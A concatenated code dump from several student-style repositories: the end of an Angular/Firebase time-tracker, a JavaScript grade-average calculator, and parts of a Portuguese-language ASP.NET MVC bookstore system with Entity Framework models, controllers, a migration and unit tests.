this.data.setTitle(['Login Into Your Account', 'Don`t have an account? Sign Up!', 'register']);
}
get formControls() {
return this.loginForm.controls;
}
login() {
if (this.loginForm.invalid) {
return;
}
this.authService.emailLogin(this.loginForm.value.email, this.loginForm.value.password).then();
}
}
<file_sep>/src/app/modules/main/users/users.component.ts
import {Component, OnInit} from '@angular/core';
import {AngularFirestore} from '@angular/fire/firestore';
import {map} from 'rxjs/operators';
import {AuthService} from '../../../core/auth/auth.service';
@Component({
selector: 'app-users',
templateUrl: './users.component.html',
styleUrls: ['./users.component.scss']
})
export class UsersComponent implements OnInit {
users: any;
checked: { [id: string]: boolean; } = {};
constructor(private afs: AngularFirestore,
private authService: AuthService) {
}
ngOnInit() {
this.getData().then();
}
async getData() {
const collect = await this.afs.collection('users');
this.users = await collect.snapshotChanges().pipe(
map(actions => actions.map(a => a.payload.doc.data()))
);
const checked: { [id: string]: boolean; } = {};
this.users.subscribe(user => {
user.forEach(value => {
checked[value.uid] = value.roles.roleAdmin;
});
});
this.checked = checked;
}
changeAdmin(uid: string) {
this.authService.changeAdmin(uid, this.checked[uid]).then();
}
}
<file_sep>/src/app/core/service/interact.service.ts
import {Injectable} from '@angular/core';
import {User} from '../models/user';
@Injectable({
providedIn: 'root'
})
export class InteractService {
private title: string[];
private roles: User;
constructor() {
}
public getTitle(): string[] {
return this.title;
}
public setTitle(newName: string[]): void {
this.title = newName;
}
public getUser(): User {
return this.roles;
}
public setUser(newName: User): void {
this.roles = newName;
}
}
<file_sep>/src/app/app.module.ts
import {NgModule} from '@angular/core';
import {BrowserModule} from '@angular/platform-browser';
import {RouterModule} from '@angular/router';
import {AngularFireModule} from '@angular/fire';
import {AngularFireAuthModule} from '@angular/fire/auth';
import {AngularFirestoreModule} from '@angular/fire/firestore';
import {BrowserAnimationsModule} from '@angular/platform-browser/animations';
import {AppComponent} from './app.component';
import {environment} from '../environments/environment.prod';
import {AuthService} from './core/auth/auth.service';
import {MainModule} from './modules/main/main.module';
import {AuthModule} from './modules/auth/auth.module';
import {APP_ROUTES} from './app-routes';
@NgModule({
declarations: [
AppComponent
],
imports: [
BrowserModule,
BrowserAnimationsModule,
MainModule,
AuthModule,
RouterModule.forRoot(APP_ROUTES, {enableTracing: false}),
AngularFireModule.initializeApp(environment.firebase, 'time-tracer-1'),
AngularFireAuthModule,
AngularFirestoreModule
],
providers: [AuthService],
bootstrap: [AppComponent]
})
export class AppModule {
}
| 27919064b0a25b79045b1eee993a3e977ef2ceee | [
"TypeScript"
] | 20 | TypeScript | khuseinbaev/timetracer | 78bf53287b2dc59c13add6c0f10a7b88ff101942 | 1a8cec9765cb85204bd843c5f1db03f0ebc18cfa |
refs/heads/master | <repo_name>seananigan/CMPT276<file_sep>/index.php
<?php include_once("calculator.html"); ?><file_sep>/calculator.js
function decimalToPercent(num, denom) {
if (denom != 0) {
return (100*num/denom).toFixed(2).toString()+"%"
}
return ""
}
function getAvgA1() {
//divides the numerator input box by the denominator one
var numerator = document.getElementById("A1numerator").value;
var denominator = document.getElementById("A1denominator").value;
var res = numerator/denominator;
if (res>1 && noBonus==1) {
//accounts for whether or not bonus is allowed
numerator = denominator;
}
document.getElementById("A1res").innerHTML = decimalToPercent(numerator, denominator);
if (displayed == "weight") {
getWeight();
}
if (displayed == "mean") {
getMean();
}
}
function getAvgA2() {
//see comments in getAvgA1()
var numerator = document.getElementById("A2numerator").value;
var denominator = document.getElementById("A2denominator").value;
var res = numerator/denominator;
if (res>1 && noBonus==1) {
numerator = denominator;
}
document.getElementById("A2res").innerHTML = decimalToPercent(numerator, denominator);
if (displayed == "weight") {
getWeight();
}
if (displayed == "mean") {
getMean();
}
}
function getAvgA3() {
//see comments in getAvgA1()
var numerator = document.getElementById("A3numerator").value;
var denominator = document.getElementById("A3denominator").value;
var res = numerator/denominator;
if (res>1 && noBonus==1) {
numerator = denominator;
}
document.getElementById("A3res").innerHTML = decimalToPercent(numerator, denominator);
if (displayed == "weight") {
getWeight();
}
if (displayed == "mean") {
getMean();
}
}
function getAvgA4() {
//see comments in getAvgA1()
var numerator = document.getElementById("A4numerator").value;
var denominator = document.getElementById("A4denominator").value;
var res = numerator/denominator;
if (res>1 && noBonus==1) {
numerator = denominator;
}
document.getElementById("A4res").innerHTML = decimalToPercent(numerator, denominator);
if (displayed == "weight") {
getWeight();
}
if (displayed == "mean") {
getMean();
}
}
function getMean() {
// And I've been real shot down and I'm - I'm gettin' mean!
var num1 = document.getElementById("A1numerator").value;
var denom1 = document.getElementById("A1denominator").value;
if (num1/denom1>1 && noBonus==1) {
num1 = denom1;
}
var grade1 = num1/denom1;
var num2 = document.getElementById("A2numerator").value;
var denom2 = document.getElementById("A2denominator").value;
if (num2/denom2>1 && noBonus==1) {
num2 = denom2;
}
var grade2 = num2/denom2;
var num3 = document.getElementById("A3numerator").value;
var denom3 = document.getElementById("A3denominator").value;
if (num3/denom3>1 && noBonus==1) {
num3 = denom3;
}
var grade3 = num3/denom3;
var num4 = document.getElementById("A4numerator").value;
var denom4 = document.getElementById("A4denominator").value;
if (num4/denom4>1 && noBonus==1) {
num4 = denom4;
}
var grade4 = num4/denom4;
var num=0;
var denom=0;
if (denom1 != 0) {
num += grade1;
denom += 1;
}
if (denom2 != 0) {
num += grade2;
denom += 1;
}
if (denom3 != 0) {
num += grade3;
denom += 1;
}
if (denom4 != 0) {
num += grade4;
denom += 1;
}
document.getElementById("finalRes").innerHTML = decimalToPercent(num, denom);
displayed = "mean"; //to see what should stay on the screen when the box is ticked/unticked
}
function getWeight() {
var num1 = document.getElementById("A1numerator").value;
var denom1 = document.getElementById("A1denominator").value;
if (num1/denom1>1 && noBonus==1) {
num1 = denom1;
}
var grade1 = num1/denom1;
var num2 = document.getElementById("A2numerator").value;
var denom2 = document.getElementById("A2denominator").value;
if (num2/denom2>1 && noBonus==1) {
num2 = denom2;
}
var grade2 = num2/denom2;
var num3 = document.getElementById("A3numerator").value;
var denom3 = document.getElementById("A3denominator").value;
if (num3/denom3>1 && noBonus==1) {
num3 = denom3;
}
var grade3 = num3/denom3;
var num4 = document.getElementById("A4numerator").value;
var denom4 = document.getElementById("A4denominator").value;
if (num4/denom4>1 && noBonus==1) {
num4 = denom4;
}
var grade4 = num4/denom4;
var weight1 = document.getElementById("A1weight").value;
var weight2 = document.getElementById("A2weight").value;
var weight3 = document.getElementById("A3weight").value;
var weight4 = document.getElementById("A4weight").value;
var num=0;
var denom=0;
if (denom1 != 0) {
num += grade1*weight1;
denom += weight1*1; //needed the *1 because otherwise it treats it as a string
}
if (denom2 != 0) {
num += grade2*weight2;
denom += weight2*1;
}
if (denom3 != 0) {
num += grade3*weight3;
denom += weight3*1;
}
if (denom4 != 0) {
num += grade4*weight4;
denom += weight4*1;
}
document.getElementById("finalRes").innerHTML = decimalToPercent(num, denom);
displayed = "weight"; //to see what should stay on the screen when the box is ticked/unticked
}
function changeColour() {
if (clickCount%2==0) {
document.getElementById("container").style.background = 'black';
document.getElementById("header").style.color = 'white';
document.getElementById("nightMode").innerHTML = "DAY MODE";
}
else {
document.getElementById("container").style.background = 'white';
document.getElementById("header").style.color = 'black';
document.getElementById("nightMode").innerHTML = "NIGHT MODE";
}
clickCount++;
}
function decideAboutWeight() {
//decides whether to check getWeight or not depending on if it's active
if (displayed=="weight") {
getWeight();
}
}
bonusCheck.addEventListener( 'change', function() {
//will decide whether bonus marks should count or not
if (bonusCheck.checked) {
noBonus = 1;
}
else {
noBonus = 0;
}
getAvgA1();
getAvgA2()
getAvgA3();
getAvgA4();
if (displayed == "weight") {
getWeight();
}
if (displayed == "mean") {
getMean();
}
});
document.getElementById("nightMode").addEventListener("click", changeColour);
document.getElementById("mean").addEventListener("click", getMean);
document.getElementById("weighted").addEventListener("click", getWeight);
document.getElementById("A1numerator").addEventListener("input", getAvgA1);
document.getElementById("A1denominator").addEventListener("input", getAvgA1);
document.getElementById("A1res").addEventListener("input", getAvgA1);
document.getElementById("A2numerator").addEventListener("input", getAvgA2);
document.getElementById("A2denominator").addEventListener("input", getAvgA2);
document.getElementById("A2res").addEventListener("input", getAvgA2);
document.getElementById("A3numerator").addEventListener("input", getAvgA3);
document.getElementById("A3denominator").addEventListener("input", getAvgA3);
document.getElementById("A3res").addEventListener("input", getAvgA3);
document.getElementById("A4numerator").addEventListener("input", getAvgA4);
document.getElementById("A4denominator").addEventListener("input", getAvgA4);
document.getElementById("A4res").addEventListener("input", getAvgA4);
document.getElementById("A1weight").addEventListener("input", decideAboutWeight);
document.getElementById("A2weight").addEventListener("input", decideAboutWeight);
document.getElementById("A3weight").addEventListener("input", decideAboutWeight);
document.getElementById("A4weight").addEventListener("input", decideAboutWeight);
var clickCount = 0; //counts # of clicks on the night/day mode button to see what it should say/do
var noBonus = 0; //is the box ticked or not?
displayed = "none"; //to see what should stay on the screen when the box is ticked/unticked<file_sep>/README.md
Calculator for CMPT 276
Calulates mean values and weighted averages based on assignment marks and weights. Also has a night mode.
| e9af1ced350d5ded739355023ec442dab2e8485a | [
"JavaScript",
"Markdown",
"PHP"
] | 3 | PHP | seananigan/CMPT276 | c244c98452fde61b54d2bd9d67369f4a6969276c | 61c014ee3afd8cf15c771db5f250ea7bff242b02 |
refs/heads/master | <file_sep>using System;
using System.Collections.Generic;
using System.Data;
using System.Data.Entity;
using System.Linq;
using System.Net;
using System.Web;
using System.Web.Mvc;
using Finis.DAL;
using Finis.Models;
using CrystalDecisions.CrystalReports.Engine;
using System.IO;
using System.Data.Entity.Infrastructure;
using System.Data.SqlClient;
namespace Finis.Controllers
{
public class ExemplaresController : Controller
{
private Contexto db = new Contexto();
// GET: Exemplares
[Authorize(Roles = "Administrador, Funcionário")]
public ActionResult Index()
{
var exemplares = db.Item.OfType<Exemplar>().Include(e => e.editora).Include(e => e.idioma).Include(e => e.sessao).OrderBy(e => e.nome);
return View(exemplares.ToList());
}
[HttpPost]
[Authorize(Roles = "Administrador, Funcionário")]
public ActionResult Index(string pesquisar)
{
return View("Index", db.Item.OfType<Exemplar>()
.Include(e => e.editora)
.Include(e => e.idioma)
.Include(e => e.sessao)
.Where(c => c.nome.Contains(pesquisar) || c.isbn.Contains(pesquisar))
.OrderBy(e => e.nome)
.ToList());
}
// GET: Exemplares
[Authorize(Roles = "Administrador, Funcionário, Cliente")]
public ActionResult Consulta()
{
var exemplares = db.Item.OfType<Exemplar>().Include(e => e.editora).Include(e => e.idioma).Include(e => e.sessao).OrderBy(e => e.nome);
return View(exemplares.ToList());
}
[HttpPost]
[Authorize(Roles = "Administrador, Funcionário, Cliente")]
public ActionResult Consulta(string pesquisar)
{
return View(db.Item.OfType<Exemplar>()
.Include(e => e.editora)
.Include(e => e.idioma)
.Include(e => e.sessao)
.Where(c => c.nome.Contains(pesquisar) || c.isbn.Contains(pesquisar))
.OrderBy(e => e.nome)
.ToList());
}
public ActionResult Exportar()
{
List<Exemplar> exemplar = new List<Exemplar>();
exemplar = db.Item.OfType<Exemplar>().ToList();
ReportDocument rd = new ReportDocument();
rd.Load(Path.Combine(Server.MapPath("~/Relatorios"), "Exemplares.rpt"));
rd.SetDataSource(exemplar);
Response.Buffer = false;
Response.ClearContent();
Response.ClearHeaders();
Stream stream = rd.ExportToStream(CrystalDecisions.Shared.ExportFormatType.PortableDocFormat);
stream.Seek(0, SeekOrigin.Begin);
return File(stream, "application/pdf", "Exemplares.pdf");
}
public void DescontaQuantidade(List<ItemVenda> lista)
{
foreach (ItemVenda itemVenda in lista)
{
var item = db.Item.Find(itemVenda.itemId);
item.quantidadeEstoque -= itemVenda.quantidade;
var local = db.Set<Item>()
.Local
.FirstOrDefault(f => f.id == item.id);
db.Entry(local).State = System.Data.Entity.EntityState.Detached;
db.Entry(item).State = System.Data.Entity.EntityState.Modified;
db.SaveChanges();
}
}
[HttpGet]
public JsonResult DropboxEditoras()
{
var listaEditora = db.Fornecedor.OfType<Editora>()
.Select(p => new { p.id, p.nome })
.OrderBy(p => p.nome)
.ToArray();
var obj = new
{
lista = listaEditora
};
return Json(obj, "text/html", JsonRequestBehavior.AllowGet);
}
private void ConfiguraNomeEditora(Exemplar exemplar)
{
if (exemplar.editora == null)
{
exemplar.editora = (Editora)db.Fornecedor.Find(exemplar.editoraId);
}
exemplar.editoraNome = exemplar.editora.id + " - " + exemplar.editora.nome;
}
private bool VerificaJaExiste(Exemplar exemplar)
{
List<Exemplar> resultado = new List<Exemplar>();
resultado = db.Item.OfType<Exemplar>().Where(e => e.isbn == exemplar.isbn).ToList();
if (resultado.Count() > 0)
{
return true;
}
return false;
}
// GET: Clientes/Details/5
public JsonResult Detalhes(int? id)
{
bool sucesso;
string resultado;
if (id == null)
{
sucesso = false;
resultado = "Não encontrado!";
}
else
{
Exemplar exemplar = (Exemplar)db.Item.Find(id);
if (exemplar == null)
{
sucesso = false;
resultado = "Não encontrado!";
}
else
{
exemplar.editora = this.RecuperaEditora(exemplar.editoraId);
exemplar.idioma = this.RecuperaIdioma(exemplar.idiomaId);
exemplar.sessao = this.RecuperaSessao(exemplar.sessaoId);
sucesso = true;
resultado = exemplar.Serializar();
}
}
var obj = new
{
Sucesso = sucesso,
Resultado = resultado
};
return Json(obj, JsonRequestBehavior.AllowGet);
}
private Editora RecuperaEditora(int? id)
{
if (id != null)
{
Editora editora = (Editora)db.Fornecedor.Find(id);
return editora;
}
return new Editora();
}
private Idioma RecuperaIdioma(int? id)
{
if (id != null)
{
Idioma idioma = db.Idioma.Find(id);
return idioma;
}
return new Idioma();
}
private Sessao RecuperaSessao(int? id)
{
if (id != null)
{
Sessao sessao = db.Sessao.Find(id);
return sessao;
}
return new Sessao();
}
// GET: Exemplares/Create
[Authorize(Roles = "Administrador, Funcionário")]
public ActionResult Create()
{
ViewBag.editoraId = new SelectList(db.Fornecedor, "id", "nome");
ViewBag.idiomaId = new SelectList(db.Idioma, "id", "nome");
ViewBag.sessaoId = new SelectList(db.Sessao, "id", "nome");
return View();
}
// POST: Exemplares/Create
// Para se proteger de mais ataques, ative as propriedades específicas a que você quer se conectar. Para
// obter mais detalhes, consulte https://go.microsoft.com/fwlink/?LinkId=317598.
[HttpPost]
[ValidateAntiForgeryToken]
[Authorize(Roles = "Administrador, Funcionário")]
public ActionResult Create(Exemplar exemplar)
{
if (ModelState.IsValid)
{
if (VerificaJaExiste(exemplar))
{
ViewBag.Erro = "Ja existe um registro com o ISBN informado!";
return View(exemplar);
}
exemplar.ConfigurarParaSalvar();
db.Item.Add(exemplar);
db.SaveChanges();
return RedirectToAction("Index");
}
ViewBag.editoraId = new SelectList(db.Fornecedor, "id", "nome");
ViewBag.idiomaId = new SelectList(db.Idioma, "id", "nome", exemplar.idiomaId);
ViewBag.sessaoId = new SelectList(db.Sessao, "id", "nome", exemplar.sessaoId);
return View(exemplar);
}
// GET: Exemplares/Edit/5
[Authorize(Roles = "Administrador, Funcionário")]
public ActionResult Edit(int? id)
{
if (id == null)
{
return new HttpStatusCodeResult(HttpStatusCode.BadRequest);
}
Exemplar exemplar = (Exemplar)db.Item.Find(id);
if (exemplar == null)
{
return HttpNotFound();
}
this.ConfiguraNomeEditora(exemplar);
ViewBag.Editoras = new SelectList(db.Fornecedor, "id", "nome", "Editora");
ViewBag.Idiomas = new SelectList(db.Idioma, "id", "nome", exemplar.idiomaId);
ViewBag.Sessoes = new SelectList(db.Sessao, "id", "nome", exemplar.sessaoId);
exemplar.editora = this.RecuperaEditora(exemplar.editoraId);
exemplar.idioma = this.RecuperaIdioma(exemplar.idiomaId);
exemplar.sessao = this.RecuperaSessao(exemplar.sessaoId);
return View(exemplar);
}
// POST: Exemplares/Edit/5
// Para se proteger de mais ataques, ative as propriedades específicas a que você quer se conectar. Para
// obter mais detalhes, consulte https://go.microsoft.com/fwlink/?LinkId=317598.
[HttpPost]
[ValidateAntiForgeryToken]
[Authorize(Roles = "Administrador, Funcionário")]
public ActionResult Edit(Exemplar exemplar)
{
if (ModelState.IsValid)
{
exemplar.ConfigurarParaSalvar();
db.Entry(exemplar).State = EntityState.Modified;
db.SaveChanges();
return RedirectToAction("Index");
}
ViewBag.editoraId = new SelectList(db.Fornecedor, "id", "nome");
ViewBag.idiomaId = new SelectList(db.Idioma, "id", "nome", exemplar.idiomaId);
ViewBag.sessaoId = new SelectList(db.Sessao, "id", "nome", exemplar.sessaoId);
return View(exemplar);
}
// GET: Clientes/Delete/5
public JsonResult DeletarRegistro(int? id)
{
if (id != null)
{
Exemplar exemplar = (Exemplar)db.Item.Find(id);
db.Item.Remove(exemplar);
try
{
db.SaveChanges();
}
catch (DbUpdateException ex)
{
var sqlException = ex.GetBaseException() as SqlException;
if (sqlException != null)
{
return Json(false, JsonRequestBehavior.AllowGet);
}
}
}
return Json(true, JsonRequestBehavior.AllowGet);
}
protected override void Dispose(bool disposing)
{
if (disposing)
{
db.Dispose();
}
base.Dispose(disposing);
}
}
}
<file_sep>using Finis.Controllers;
using Finis.Models;
using Microsoft.VisualStudio.TestTools.UnitTesting;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Web.Mvc;
namespace Finis.Testes.Controllers
{
[TestClass]
class ClientesControllerTest
{
private Cliente InicializaCliente()
{
Cliente cliente = new Cliente
{
nome = "<NAME>",
email = "<EMAIL>",
telefone = "(45)3693-5555",
celular = "(45)99998-8888",
dataNascimento = DateTime.Parse("1995-09-01"),
genero = TipoGenero.MASCULINO,
rg = "102345678",
saldoCreditoEspecial = 6.00M,
saldoCreditoParcial = 5.00M,
endereco = new Endereco
{
logradouro = "Avenida Brasil",
bairro = "Jd. Central",
cep = 85856440,
complemento = "Ap 404",
numero = 123,
cidade = new Cidade { nome = "Curitiba", estado = new Estado { nome = "Parana", sigla = "PR", pais = new Pais { nome = "Brasil", sigla = "BR" } } }
}
};
return cliente;
}
[TestMethod]
public void Index()
{
// Arrange
ClientesController controller = new ClientesController();
// Act
ViewResult result = controller.Index() as ViewResult;
// Assert
Assert.IsNotNull(result);
}
[TestMethod]
public void Create()
{
// Arrange
ClientesController controller = new ClientesController();
// Act
ViewResult result = controller.Create() as ViewResult;
// Assert
Assert.IsNotNull(result);
Assert.AreEqual("Create", result.ViewName);
}
[TestMethod]
public void Save()
{
// Arrange
ClientesController controller = new ClientesController();
Exception exception = new Exception();
Cliente cliente = this.InicializaCliente();
// Act
ViewResult result = controller.Create(cliente) as ViewResult;
// Assert
Assert.IsNotNull(result);
ModelState modelState = result.ViewData.ModelState[""];
Assert.IsNotNull(modelState);
Assert.IsTrue(modelState.Errors.Any());
}
[TestMethod]
public void Detalhes()
{
// Arrange
ClientesController controller = new ClientesController();
// Act
JsonResult result = controller.Detalhes(1) as JsonResult;
// Assert
Assert.IsNotNull(result);
}
[TestMethod]
public void Edit()
{
// Arrange
ClientesController controller = new ClientesController();
// Act
ViewResult result = controller.Edit(1) as ViewResult;
// Assert
Assert.IsNotNull(result);
}
[TestMethod]
public void DeletarRegistro()
{
// Arrange
ClientesController controller = new ClientesController();
// Act
JsonResult result = controller.DeletarRegistro(1) as JsonResult;
// Assert
Assert.IsNotNull(result);
}
}
}
<file_sep>using Finis.Models;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
namespace Finis.DAL
{
public class Incializador : System.Data.Entity.CreateDatabaseIfNotExists<Contexto>
{
protected override void Seed(Contexto contexto)
{
var clientes = new List<Cliente>()
{
new Cliente {nome = "Wagner", email = "<EMAIL>", telefone = "33335555", celular = "999998888", dataNascimento = DateTime.Parse("1995-09-01"),
genero = TipoGenero.MASCULINO, rg = "102345678", saldoCreditoEspecial = 0.00M, saldoCreditoParcial = 0.00M,
endereco = new Endereco{ logradouro = "Rua Artico", bairro = "Jd. Espanhola", cep = 85856440, complemento = "Ap 404", numero = 123,
cidade = new Cidade { nome = "Arapuana", estado = new Estado { nome = "Parana", sigla = "PR", pais = new Pais { nome = "Brasil", sigla = "BR" } } } }} };
clientes.ForEach(c => contexto.Cliente.Add(c));
contexto.SaveChanges();
}
}
}
//http://www.entityframeworktutorial.net/code-first/database-initialization-strategy-in-code-first.aspx<file_sep>namespace br.com.Sistema.uml.classes de entidades
{
public class Pais
{
private string nome;
private string sigla;
}
}
<file_sep>using Finis.Models;
using System;
using System.Collections.Generic;
using System.Data.Entity;
using System.Data.Entity.ModelConfiguration.Conventions;
using System.Linq;
using System.Web;
namespace Finis.DAL
{
public class Contexto : DbContext
{
public Contexto() : base("Contexto")
{
this.Configuration.LazyLoadingEnabled = false;
Database.SetInitializer<Contexto>(null);
//Database.SetInitializer<Contexto>(new DropCreateDatabaseAlways<Contexto>());
}
public DbSet<Avaliacao> Avaliacao { get; set; }
public DbSet<Cliente> Cliente { get; set; }
public DbSet<Endereco> Endereco { get; set; }
public DbSet<Pais> Pais { get; set; }
public DbSet<Cidade> Cidade { get; set; }
public DbSet<Estado> Estado { get; set; }
public DbSet<Fornecedor> Fornecedor { get; set; }
public DbSet<Autor> Autor { get; set; }
public DbSet<Transacao> Transacao { get; set; }
public DbSet<UnidadeMedida> UnidadeMedida { get; set; }
public DbSet<Marca> Marca { get; set; }
public DbSet<Usuario> Usuarios { get; set; }
public DbSet<Pedido> Pedido { get; set; }
public DbSet<Item> Item { get; set; }
public DbSet<Idioma> Idioma { get; set; }
public DbSet<Sessao> Sessao { get; set; }
public DbSet<Venda> Venda { get; set; }
public DbSet<ItemVenda> ItemVenda { get; set; }
protected override void OnModelCreating(DbModelBuilder modelBuilder)
{
modelBuilder.Conventions.Remove();
modelBuilder.Conventions.Remove<OneToManyCascadeDeleteConvention>();
modelBuilder.Entity<Avaliacao>().ToTable("Avaliacoes");
modelBuilder.Entity<Fornecedor>().ToTable("Fornecedores");
modelBuilder.Entity<Transacao>().ToTable("Transacoes");
modelBuilder.Entity<Autor>().ToTable("Autores");
modelBuilder.Entity<Pais>().ToTable("Paises");
modelBuilder.Entity<Estado>().ToTable("Estados");
modelBuilder.Entity<Endereco>().ToTable("Enderecos");
modelBuilder.Entity<Sessao>().ToTable("Sessoes");
modelBuilder.Entity<UnidadeMedida>().ToTable("UnidadesMedida");
modelBuilder.Entity<Marca>().ToTable("Marcas");
modelBuilder.Entity<Usuario>().ToTable("Usuarios");
modelBuilder.Entity<Pedido>().ToTable("Pedidos");
modelBuilder.Entity<Item>().ToTable("Itens");
modelBuilder.Entity<Venda>().ToTable("Vendas");
modelBuilder.Entity<ItemVenda>().ToTable("ItensVenda");
base.OnModelCreating(modelBuilder);
}
}
}<file_sep>namespace Finis.Migrations
{
using System;
using System.Data.Entity.Migrations;
public partial class cascade_delete : DbMigration
{
public override void Up()
{
DropForeignKey("dbo.Autores", "enderecoId", "dbo.Enderecos");
DropForeignKey("dbo.Cidades", "estadoId", "dbo.Estados");
DropForeignKey("dbo.Estados", "paisId", "dbo.Paises");
DropForeignKey("dbo.Itens", "editoraId", "dbo.Fornecedores");
DropForeignKey("dbo.Itens", "idiomaId", "dbo.Idiomas");
DropForeignKey("dbo.Itens", "sessaoId", "dbo.Sessoes");
DropForeignKey("dbo.Idiomas", "paisId", "dbo.Paises");
DropForeignKey("dbo.Avaliacoes", "clienteId", "dbo.Clientes");
DropForeignKey("dbo.Clientes", "enderecoId", "dbo.Enderecos");
DropForeignKey("dbo.Itens", "marcaId", "dbo.Marcas");
DropForeignKey("dbo.Itens", "unidadeMedidaId", "dbo.UnidadesMedida");
DropForeignKey("dbo.ItensVenda", "itemId", "dbo.Itens");
DropForeignKey("dbo.ItensVenda", "vendaId", "dbo.Vendas");
DropForeignKey("dbo.Vendas", "clienteId", "dbo.Clientes");
DropForeignKey("dbo.Pedidos", "clienteId", "dbo.Clientes");
DropForeignKey("dbo.Transacoes", "clienteId", "dbo.Clientes");
AddForeignKey("dbo.Autores", "enderecoId", "dbo.Enderecos", "id");
AddForeignKey("dbo.Cidades", "estadoId", "dbo.Estados", "id");
AddForeignKey("dbo.Estados", "paisId", "dbo.Paises", "id");
AddForeignKey("dbo.Itens", "editoraId", "dbo.Fornecedores", "id");
AddForeignKey("dbo.Itens", "idiomaId", "dbo.Idiomas", "id");
AddForeignKey("dbo.Itens", "sessaoId", "dbo.Sessoes", "id");
AddForeignKey("dbo.Idiomas", "paisId", "dbo.Paises", "id");
AddForeignKey("dbo.Avaliacoes", "clienteId", "dbo.Clientes", "id");
AddForeignKey("dbo.Clientes", "enderecoId", "dbo.Enderecos", "id");
AddForeignKey("dbo.Itens", "marcaId", "dbo.Marcas", "id");
AddForeignKey("dbo.Itens", "unidadeMedidaId", "dbo.UnidadesMedida", "id");
AddForeignKey("dbo.ItensVenda", "itemId", "dbo.Itens", "id");
AddForeignKey("dbo.ItensVenda", "vendaId", "dbo.Vendas", "id");
AddForeignKey("dbo.Vendas", "clienteId", "dbo.Clientes", "id");
AddForeignKey("dbo.Pedidos", "clienteId", "dbo.Clientes", "id");
AddForeignKey("dbo.Transacoes", "clienteId", "dbo.Clientes", "id");
}
public override void Down()
{
DropForeignKey("dbo.Transacoes", "clienteId", "dbo.Clientes");
DropForeignKey("dbo.Pedidos", "clienteId", "dbo.Clientes");
DropForeignKey("dbo.Vendas", "clienteId", "dbo.Clientes");
DropForeignKey("dbo.ItensVenda", "vendaId", "dbo.Vendas");
DropForeignKey("dbo.ItensVenda", "itemId", "dbo.Itens");
DropForeignKey("dbo.Itens", "unidadeMedidaId", "dbo.UnidadesMedida");
DropForeignKey("dbo.Itens", "marcaId", "dbo.Marcas");
DropForeignKey("dbo.Clientes", "enderecoId", "dbo.Enderecos");
DropForeignKey("dbo.Avaliacoes", "clienteId", "dbo.Clientes");
DropForeignKey("dbo.Idiomas", "paisId", "dbo.Paises");
DropForeignKey("dbo.Itens", "sessaoId", "dbo.Sessoes");
DropForeignKey("dbo.Itens", "idiomaId", "dbo.Idiomas");
DropForeignKey("dbo.Itens", "editoraId", "dbo.Fornecedores");
DropForeignKey("dbo.Estados", "paisId", "dbo.Paises");
DropForeignKey("dbo.Cidades", "estadoId", "dbo.Estados");
DropForeignKey("dbo.Autores", "enderecoId", "dbo.Enderecos");
AddForeignKey("dbo.Transacoes", "clienteId", "dbo.Clientes", "id", cascadeDelete: true);
AddForeignKey("dbo.Pedidos", "clienteId", "dbo.Clientes", "id", cascadeDelete: true);
AddForeignKey("dbo.Vendas", "clienteId", "dbo.Clientes", "id", cascadeDelete: true);
AddForeignKey("dbo.ItensVenda", "vendaId", "dbo.Vendas", "id", cascadeDelete: true);
AddForeignKey("dbo.ItensVenda", "itemId", "dbo.Itens", "id", cascadeDelete: true);
AddForeignKey("dbo.Itens", "unidadeMedidaId", "dbo.UnidadesMedida", "id", cascadeDelete: true);
AddForeignKey("dbo.Itens", "marcaId", "dbo.Marcas", "id", cascadeDelete: true);
AddForeignKey("dbo.Clientes", "enderecoId", "dbo.Enderecos", "id", cascadeDelete: true);
AddForeignKey("dbo.Avaliacoes", "clienteId", "dbo.Clientes", "id", cascadeDelete: true);
AddForeignKey("dbo.Idiomas", "paisId", "dbo.Paises", "id", cascadeDelete: true);
AddForeignKey("dbo.Itens", "sessaoId", "dbo.Sessoes", "id", cascadeDelete: true);
AddForeignKey("dbo.Itens", "idiomaId", "dbo.Idiomas", "id", cascadeDelete: true);
AddForeignKey("dbo.Itens", "editoraId", "dbo.Fornecedores", "id", cascadeDelete: true);
AddForeignKey("dbo.Estados", "paisId", "dbo.Paises", "id", cascadeDelete: true);
AddForeignKey("dbo.Cidades", "estadoId", "dbo.Estados", "id", cascadeDelete: true);
AddForeignKey("dbo.Autores", "enderecoId", "dbo.Enderecos", "id", cascadeDelete: true);
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
using System.ComponentModel.DataAnnotations.Schema;
using System.Linq;
using System.Web;
namespace Finis.Models
{
public class UnidadeMedida : EntidadeAbstrata
{
[Display(Name = "Grandeza")]
[Required(ErrorMessage = "Por favor insira um nome")]
[StringLength(50, ErrorMessage = "O nome é muito longo")]
public string grandeza { get; set; }
[Display(Name = "Unidade")]
[Required(ErrorMessage = "Por favor insira uma unidade de medida")]
[StringLength(20, ErrorMessage = "O nome é muito longo")]
public string unidade { get; set; }
[Display(Name = "Símbolo")]
[Required(ErrorMessage = "Por favor insira um símbolo")]
[StringLength(3, ErrorMessage = "O simbolo é muito longo")]
public string simbolo { get; set; }
}
public class Marca : EntidadeAbstrata
{
[Display(Name = "Nome")]
[Required(ErrorMessage = "Por favor insira um nome")]
[StringLength(50, ErrorMessage = "O nome é muito longo")]
public string nome { get; set; }
}
public class Produto : Item
{
public Produto()
{
}
[Display(Name = "Unidade de Medida")]
[Required(ErrorMessage = "Por favor selecione uma unidade de medida")]
public int unidadeMedidaId { get; set; }
[ForeignKey("unidadeMedidaId")]
public virtual UnidadeMedida unidadeMedida { get; set; }
[Display(Name = "Marca")]
[Required(ErrorMessage = "Por favor selecione uma marca")]
public int marcaId { get; set; }
[ForeignKey("marcaId")]
public virtual Marca marca { get; set; }
[NotMapped]
[Display(Name = "Marca")]
[Required(ErrorMessage = "Por favor selecione uma marca")]
public string marcaNome { get; set; }
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Data;
using System.Data.Entity;
using System.Linq;
using System.Net;
using System.Web;
using System.Web.Mvc;
using Finis.DAL;
using Finis.Models;
using CrystalDecisions.CrystalReports.Engine;
using System.IO;
using System.Data.SqlClient;
using System.Data.Entity.Infrastructure;
namespace Finis.Controllers
{
[Authorize(Roles = "Administrador, Funcionário")]
public class ProdutosController : Controller
{
private Contexto db = new Contexto();
// GET: Produtos
public ActionResult Index()
{
var produto = db.Item.OfType<Produto>().Include(p => p.unidadeMedida).Include(m => m.marca);
return View(produto.ToList().OrderBy(p => p.nome));
}
[HttpPost]
public ActionResult Index(string pesquisar)
{
